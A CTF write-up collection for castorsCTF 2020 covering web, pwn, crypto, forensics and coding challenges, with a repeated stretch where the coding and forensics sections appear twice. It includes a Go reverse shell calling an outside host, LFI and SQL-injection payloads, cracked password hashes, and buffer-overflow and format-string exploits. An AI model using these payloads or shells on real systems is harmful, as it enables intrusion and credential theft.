for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
